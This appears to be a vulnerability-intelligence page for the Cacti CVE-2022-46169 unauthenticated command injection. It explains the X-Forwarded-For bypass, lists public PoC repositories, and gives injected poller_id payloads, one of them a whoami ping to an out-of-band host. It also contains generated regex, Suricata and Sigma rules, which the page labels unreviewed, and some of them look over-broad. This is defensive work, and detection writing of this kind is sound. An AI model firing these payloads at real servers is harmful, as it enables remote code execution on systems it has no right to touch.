Cacti
Unauthenticated Command Injection
Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVER` variables to determine the IP address of the client. The variables beginning with `HTTP_` can be arbitrarily set by an attacker. Since there is a default entry in the `poller` table with the hostname of the server running Cacti, an attacker can bypass the authentication e.g. by providing the header `Forwarded-For: <TARGETIP>`. This way the function `get_client_addr` returns the IP address of the server running Cacti. The following call to `gethostbyaddr` will resolve this IP address to the hostname of the server, which will pass the `poller` hostname check because of the default entry. After the authorization of the `remote_agent.php` file is bypassed, an attacker can trigger different actions. One of these actions is called `polldata`. The called function `poll_for_data` retrieves a few request parameters and loads the corresponding `poller_item` entries from the database. If the `action` of a `poller_item` equals `POLLER_ACTION_SCRIPT_PHP`, the function `proc_open` is used to execute a PHP script. The attacker-controlled parameter `$poller_id` is retrieved via the function `get_nfilter_request_var`, which allows arbitrary strings. This variable is later inserted into the string passed to `proc_open`, which leads to a command injection vulnerability. By e.g. providing the `poller_id=;id` the `id` command is executed. In order to reach the vulnerable call, the attacker must provide a `host_id` and `local_data_id`, where the `action` of the corresponding `poller_item` is set to `POLLER_ACTION_SCRIPT_PHP`. Both of these ids (`host_id` and `local_data_id`) can easily be bruteforced. The only requirement is that a `poller_item` with an `POLLER_ACTION_SCRIPT_PHP` action exists. This is very likely on a productive instance because this action is added by some predefined templates like `Device - Uptime` or `Device - Polling Time`. This command injection vulnerability allows an unauthenticated user to execute arbitrary commands if a `poller_item` with the `action` type `POLLER_ACTION_SCRIPT_PHP` (`2`) is configured. The authorization bypass should be prevented by not allowing an attacker to make `get_client_addr` (file `lib/functions.php`) return an arbitrary IP address. This could be done by not honoring the `HTTP_...` `$_SERVER` variables. If these should be kept for compatibility reasons it should at least be prevented to fake the IP address of the server running Cacti. This vulnerability has been addressed in both the 1.2.x and 1.3.x release branches with `1.2.23` being the first release containing the patch.
Timeline
Days relative to CVE publicationFirst public PoC 1.4 days after publication; added to CISA KEV 73 days after publication. First PoC: imjdl/CVE-2022-46169 (created 7 Dec 2022, found by us: backfilled).
PoC repositories
Found on GitHub.45 PoCs · 4 pending · 2 informational · 1 not a PoC · 1 suspicious or fake
PoCs 45
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| imjdl/CVE-2022-46169 | 7 Dec 2022 +1.4 d | 0 | PoC |
| 0xf4n9x/CVE-2022-46169 | 8 Dec 2022 +2.2 d | 47 | PoC via PoC Index |
| TasosY2K/camera-exploit-tool | 15 Dec 2022 +10 d | 226 | PoC |
| taythebot/CVE-2022-46169 | 16 Dec 2022 +11 d | 1 | PoC |
| sh4den/CVE-2022-46169 | 2 Jan 2023 +28 d | 3 | PoC |
| sAsPeCt488/CVE-2022-46169 | 5 Jan 2023 +31 d | 29 | PoC |
| Anthonyc3rb3ru5/CVE-2022-46169 | 13 Jan 2023 +38 d | 9 | PoC |
| botfather0x0/CVE-2022-46169 | 13 Jan 2023 +38 d | 9 | PoC |
| c3rrberu5/CVE-2022-46169 | 13 Jan 2023 +38 d | 9 | PoC |
| deadyP00l/CVE-2022-46169 | 13 Jan 2023 +38 d | 9 | PoC |
| Habib0x0/CVE-2022-46169 | 15 Jan 2023 +41 d | 2 | PoC |
| hab1b0x/CVE-2022-46169 | 15 Jan 2023 +41 d | 2 | PoC |
| N1arut/CVE-2022-46169_POC | 16 Jan 2023 +42 d | 3 | PoC |
| miko550/CVE-2022-46169 | 2 Feb 2023 +59 d | 0 | PoC |
| ariyaadinatha/cacti-cve-2022-46169-exploit | 11 Mar 2023 +96 d | 15 | PoC |
| 0x0Jackal/CVE-2022-46169 | 20 Mar 2023 +105 d | 1 | PoC via PoC Index
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| doosec101/CVE-2022-46169 | 20 Mar 2023 +105 d | 1 | PoC via PoC Index
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application | 1 Apr 2023 +117 d | 1 | PoC |
| devAL3X/CVE-2022-46169_poc | 1 Apr 2023 +117 d | 0 | PoC |
| svchost9913/CVE-2022-46169_unauth_remote_code_execution | 11 Apr 2023 +126 d | 0 | PoC |
| icebreack/CVE-2022-46169 | 13 Apr 2023 +129 d | 3 | PoC |
| devilgothies/CVE-2022-46169 | 29 Apr 2023 +145 d | 0 | PoC |
| yassinebk/CVE-2022-46169 | 30 Apr 2023 +146 d | 0 | PoC |
| ruycr4ft/CVE-2022-46169 | 1 May 2023 +147 d | 3 | PoC |
| ruycr4ft/cacti-1.2.22-exploit | 1 May 2023 +147 d | 3 | PoC |
| FredBrave/CVE-2022-46169-CACTI-1.2.22 | 1 May 2023 +147 d | 42 | PoC |
| r1nzleer/RCE-Cacti-1.2.22 | 2 May 2023 +147 d | 0 | PoC |
| sha-16/RCE-Cacti-1.2.22 | 2 May 2023 +147 d | 0 | PoC |
| Safarchand/CVE-2022-46169 | 2 May 2023 +148 d | 1 | PoC |
| BKreisel/CVE-2022-46169 | 4 May 2023 +150 d | 0 | PoC |
| Rickster5555/EH2-PoC | 12 May 2023 +158 d | 0 | PoC |
| antisecc/CVE-2022-46169 | 21 May 2023 +166 d | 0 | PoC |
| nou-man/CVE-2022-46169 | 5 Jun 2023 +182 d | 0 | PoC |
| 4m4Sec/CVE-2022-46169 | 1 Aug 2023 +239 d | 0 | PoC |
| dawnl3ss/CVE-2022-46169 | 1 Aug 2023 +239 d | 0 | PoC |
| a1665454764/CVE-2022-46169 | 30 Aug 2023 +268 d | 0 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| 0xZon/CVE-2022-46169-Exploit | 10 Sep 2023 +278 d | 0 | PoC |
| 0xN7y/CVE-2022-46169 | 23 Nov 2023 +353 d | 1 | PoC |
| mind2hex/CVE-2022-46169 | 28 Mar 2024 +1.3 y | 0 | PoC |
| mind2hex/CVE-2022-46169-Cacti-v1.2.22-RCE | 28 Mar 2024 +1.3 y | 0 | PoC |
| lof1sec/CVE-2022-46169 | 4 Jan 2025 +2.1 y | 0 | PoC |
| RdBBB3/SHELL-POC-CVE-2022-46169 | 21 May 2025 +2.5 y | 0 | PoC |
| alv-david/CVE-2022-46169-Cacti-1.2.22 | 2 Jul 2025 +2.6 y | 0 | PoC |
| K4PXD/CVE-2022-46169 | 28 Aug 2026 +3.7 y | 0 | PoC |
| CyberCTF/vulhub-cacti-cve-2022-46169 | 8 Oct 2026 +3.8 y | 0 | PoC |
Pending 4
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Inplex-sys/CVE-2022-46169 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| MarkStrendin/CVE-2022-46169 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| SystemVll/CVE-2022-46169 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
| rockyroadonline/CVE-2022-46169 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Informational 2
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| HPT-Intern-Task-Submission/CVE-2022-46169 | 12 Jun 2024 +1.5 y | 0 | Informational · write-up |
| nicostan15/CVE-2022-46169 | 2 Apr 2026 +3.3 y | 1 | Informational · write-up |
Not a PoC 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ahanel13/CVE-2022-4616-POC | 12 May 2023 +157 d | 0 | Not a PoC · unrelated |
Suspicious or fake 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Anekant-Singhai/Exploits | 26 Oct 2023 +325 d | 2 | Fake |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | Cacti v1.2.22 - Remote Command Execution (RCE) | 31 Mar 2023 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: Cacti 1.2.22 unauthenticated command injection (exploit/linux/http/cacti_unauthenticated_cmd_injection) | 22 Dec 2022 | 14 Nov 2026 |
| nuclei template | nuclei template: Cacti <=1.2.22 - Remote Command Injection | 27 Apr 2023 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 45 PoC reposGET /remote_agent.php
- Query
action=polldatalocal_data_ids[]=host_id=poller_id=1host_id=1local_data_ids[]=1poller_id=;bash shell.sh{var}=local_data_ids[0]=6poller_id=`touch /tmp/successpoller_id=`poller_id=poller_id=;local_data_ids[0]=local_data_ids[]=7local_data_ids[0]=1- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Header: {var}Upgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.1X-Forwarded-For: {var}X-Forwarded-For: 127.0.0.1' #f'{var}- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0- Seen in
- 27 repos: 0xZon/CVE-2022-46169-Exploit, 4m4Sec/CVE-2022-46169, Anthonyc3rb3ru5/CVE-2022-46169, CyberCTF/vulhub-cacti-cve-2022-46169, FredBrave/CVE-2022-46169-CACTI-1.2.22, N1arut/CVE-2022-46169_POC, Rickster5555/EH2-PoC, Safarchand/CVE-2022-46169, alv-david/CVE-2022-46169-Cacti-1.2.22, ariyaadinatha/cacti-cve-2022-46169-exploit, botfather0x0/CVE-2022-46169, c3rrberu5/CVE-2022-46169, dawnl3ss/CVE-2022-46169, deadyP00l/CVE-2022-46169, devilgothies/CVE-2022-46169, imjdl/CVE-2022-46169, lof1sec/CVE-2022-46169, miko550/CVE-2022-46169, mind2hex/CVE-2022-46169, mind2hex/CVE-2022-46169-Cacti-v1.2.22-RCE, nou-man/CVE-2022-46169, r1nzleer/RCE-Cacti-1.2.22, ruycr4ft/CVE-2022-46169, ruycr4ft/cacti-1.2.22-exploit, sh4den/CVE-2022-46169, sha-16/RCE-Cacti-1.2.22, yassinebk/CVE-2022-46169
- Evidence
- 0xZon/CVE-2022-46169-Exploit/CVE-2022-46169.py:11 4m4Sec/CVE-2022-46169/exploit.py:5 Anthonyc3rb3ru5/CVE-2022-46169/cve_2022_46169.py:61 Anthonyc3rb3ru5/CVE-2022-46169/cve_2022_46169.py:67 Anthonyc3rb3ru5/CVE-2022-46169/cve_2022_46169.py:98 Anthonyc3rb3ru5/CVE-2022-46169/cve_2022_46169.py:150
GET /cacti/remote_agent.php
- Query
action=polldatapoller_id=;ping -c 2 `whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.funhost_id=2local_data_ids[]=6poller_id=1host_id=$ylocal_data_ids[]=$i)poller_id=;$encodedPayloadlocal_data_ids[]=$ihost_id=$pari_x=local_data_ids[]=$pair_yhost_id=1local_data_ids[]=3poller_id=;ping $(whoami).test.com- Key headers
Accept-Charset: utf-8X-Forwarded-For: 127.0.0.1X-Forwarded-For: 127.0.0.01- Ports
- 8080
- PoC User-Agent
Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020- Seen in
- 5 repos: 0xf4n9x/CVE-2022-46169, N1arut/CVE-2022-46169_POC, RdBBB3/SHELL-POC-CVE-2022-46169, miko550/CVE-2022-46169, taythebot/CVE-2022-46169
- Evidence
- 0xf4n9x/CVE-2022-46169/README.md:26 N1arut/CVE-2022-46169_POC/cacti_exploit.py:18 RdBBB3/SHELL-POC-CVE-2022-46169/poc.sh:77 RdBBB3/SHELL-POC-CVE-2022-46169/poc.sh:99 miko550/CVE-2022-46169/CVE-2022-46169.py:17 taythebot/CVE-2022-46169/README.md:26
GET /test.txt
- Key headers
Header: {var}- Seen in
- 4 repos: Anthonyc3rb3ru5/CVE-2022-46169, botfather0x0/CVE-2022-46169, c3rrberu5/CVE-2022-46169, deadyP00l/CVE-2022-46169
- Evidence
- Anthonyc3rb3ru5/CVE-2022-46169/cve_2022_46169.py:132 botfather0x0/CVE-2022-46169/cve_2022_46169.py:132 c3rrberu5/CVE-2022-46169/cve_2022_46169.py:132 deadyP00l/CVE-2022-46169/cve_2022_46169.py:132
GET /
- Key headers
X-Forwarded-For: 127.0.0.1X-Forwarded-For: {var}- PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62- Seen in
- 2 repos: a1665454764/CVE-2022-46169, taythebot/CVE-2022-46169
- Evidence
- a1665454764/CVE-2022-46169/CVE-2022-46169.py:39 taythebot/CVE-2022-46169/bruteforce.go:276
GET /cacti/remote_agent.php)
- Key headers
X-Forwarded-For: 127.0.0.1- Seen in
- 1 repo: RdBBB3/SHELL-POC-CVE-2022-46169
- Evidence
- RdBBB3/SHELL-POC-CVE-2022-46169/poc.sh:57
GET /cgi-bin/user/Config.cgi
- Query
/nobody=action=getcategory=Account.*- Seen in
- 1 repo: TasosY2K/camera-exploit-tool
- Evidence
- TasosY2K/camera-exploit-tool/scanner.py:258
GET /include/cacti_version
- Ports
- 8080
- Seen in
- 1 repo: CyberCTF/vulhub-cacti-cve-2022-46169
- Evidence
- CyberCTF/vulhub-cacti-cve-2022-46169/checks/cacti.sh:5
GET /shell.php
- Query
c=idc=id))- Seen in
- 1 repo: K4PXD/CVE-2022-46169
- Evidence
- K4PXD/CVE-2022-46169/exploit.py:64 K4PXD/CVE-2022-46169/exploit.py:99
GET /{var}.txt
- Key headers
X-Forwarded-For: {var}- PoC User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36- Seen in
- 1 repo: imjdl/CVE-2022-46169
- Evidence
- imjdl/CVE-2022-46169/CVE-2022-46169.py:22
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/remote_agent\.php\?(?:.*&)?action=polldata.*local_data_ids\[\]=.*host_id=.*poller_id=1.*host_id=1.*local_data_ids\[\]=1.*poller_id=;bash shell\.sh.*\{var\}=.*local_data_ids\[0\]=6.*poller_id=`touch /tmp/success.*poller_id=`.*poller_id=.*poller_id=;.*local_data_ids\[0\]=.*local_data_ids\[\]=7.*local_data_ids\[0\]=1
(?i)^/cacti/remote_agent\.php\?(?:.*&)?action=polldata.*poller_id=;ping -c 2 `whoami`\.ccsy8s32vtc0000x5nagg8rkyboyyyyyc\.oast\.fun.*host_id=2.*local_data_ids\[\]=6.*poller_id=1.*host_id=\$y.*local_data_ids\[\]=\$i\).*poller_id=;\$encodedPayload.*local_data_ids\[\]=\$i.*host_id=\$pari_x.*=local_data_ids\[\]=\$pair_y.*host_id=1.*local_data_ids\[\]=3.*poller_id=;ping \$\(whoami\)\.test\.com
(?i)^/test\.txt(?:[?#].*)?$
(?i)^/(?:[?#].*)?$
(?i)^/cacti/remote_agent\.php\)(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-46169 Cacti cacti exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/remote_agent.php"; http.uri; content:"action=polldata"; http.uri; content:"local_data_ids[]="; http.uri; content:"host_id="; http.uri; content:"poller_id=1"; http.uri; content:"host_id=1"; http.uri; content:"local_data_ids[]=1"; http.uri; content:"poller_id=|3b|bash shell.sh"; http.uri; content:"{var}="; http.uri; content:"local_data_ids[0]=6"; http.uri; content:"poller_id=`touch /tmp/success"; http.uri; content:"poller_id=`"; http.uri; content:"poller_id="; http.uri; content:"poller_id=|3b|"; http.uri; content:"local_data_ids[0]="; http.uri; content:"local_data_ids[]=7"; http.uri; content:"local_data_ids[0]=1"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: en-US,en|3b|q=0.5"; nocase; http.header_names; content:"Header"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; http.header_names; content:"X-Forwarded-For"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.1' #f'"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-46169; classtype:web-application-attack; sid:9295214; rev:1;)
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-46169 Cacti cacti exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cacti/remote_agent.php"; http.uri; content:"action=polldata"; http.uri; content:"poller_id=|3b|ping -c 2 `whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun"; http.uri; content:"host_id=2"; http.uri; content:"local_data_ids[]=6"; http.uri; content:"poller_id=1"; http.uri; content:"host_id=$y"; http.uri; content:"local_data_ids[]=$i)"; http.uri; content:"poller_id=|3b|$encodedPayload"; http.uri; content:"local_data_ids[]=$i"; http.uri; content:"host_id=$pari_x"; http.uri; content:"=local_data_ids[]=$pair_y"; http.uri; content:"host_id=1"; http.uri; content:"local_data_ids[]=3"; http.uri; content:"poller_id=|3b|ping $(whoami).test.com"; http.header; content:"Accept-Charset: utf-8"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.01"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-46169; classtype:web-application-attack; sid:9713645; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-46169 Cacti cacti exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/test.txt"; http.header_names; content:"Header"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-46169; classtype:web-application-attack; sid:9482050; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-46169 Cacti cacti exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; http.header_names; content:"X-Forwarded-For"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-46169; classtype:web-application-attack; sid:9556560; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-46169 Cacti cacti exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cacti/remote_agent.php)"; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-46169; classtype:web-application-attack; sid:9803884; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Cacti cacti exploit attempt (CVE-2022-46169)
id: gg-pocmon-cve-2022-46169-9295214
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-46169. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-46169
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/remote_agent.php'
cs-uri-query|contains|all:
- 'action=polldata'
- 'local_data_ids[]='
- 'host_id='
- 'poller_id=1'
- 'host_id=1'
- 'local_data_ids[]=1'
- 'poller_id=;bash shell.sh'
- '{var}='
- 'local_data_ids[0]=6'
- 'poller_id=`touch /tmp/success'
- 'poller_id=`'
- 'poller_id='
- 'poller_id=;'
- 'local_data_ids[0]='
- 'local_data_ids[]=7'
- 'local_data_ids[0]=1'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.46169
title: Cacti cacti exploit attempt (CVE-2022-46169)
id: gg-pocmon-cve-2022-46169-9713645
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-46169. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-46169
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cacti/remote_agent.php'
cs-uri-query|contains|all:
- 'action=polldata'
- 'poller_id=;ping -c 2 `whoami`.ccsy8s32vtc0000x5nagg8rkyboyyyyyc.oast.fun'
- 'host_id=2'
- 'local_data_ids[]=6'
- 'poller_id=1'
- 'host_id=$y'
- 'local_data_ids[]=$i)'
- 'poller_id=;$encodedPayload'
- 'local_data_ids[]=$i'
- 'host_id=$pari_x'
- '=local_data_ids[]=$pair_y'
- 'host_id=1'
- 'local_data_ids[]=3'
- 'poller_id=;ping $(whoami).test.com'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.46169
title: Cacti cacti exploit attempt (CVE-2022-46169)
id: gg-pocmon-cve-2022-46169-9482050
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-46169. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-46169
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/test.txt'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.46169
title: Cacti cacti exploit attempt (CVE-2022-46169)
id: gg-pocmon-cve-2022-46169-9556560
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-46169. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-46169
logsource:
category: webserver
detection:
selection:
cs-method: GET
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.46169
title: Cacti cacti exploit attempt (CVE-2022-46169)
id: gg-pocmon-cve-2022-46169-9803884
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-46169. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2022-46169
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/cacti/remote_agent.php)'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2022.46169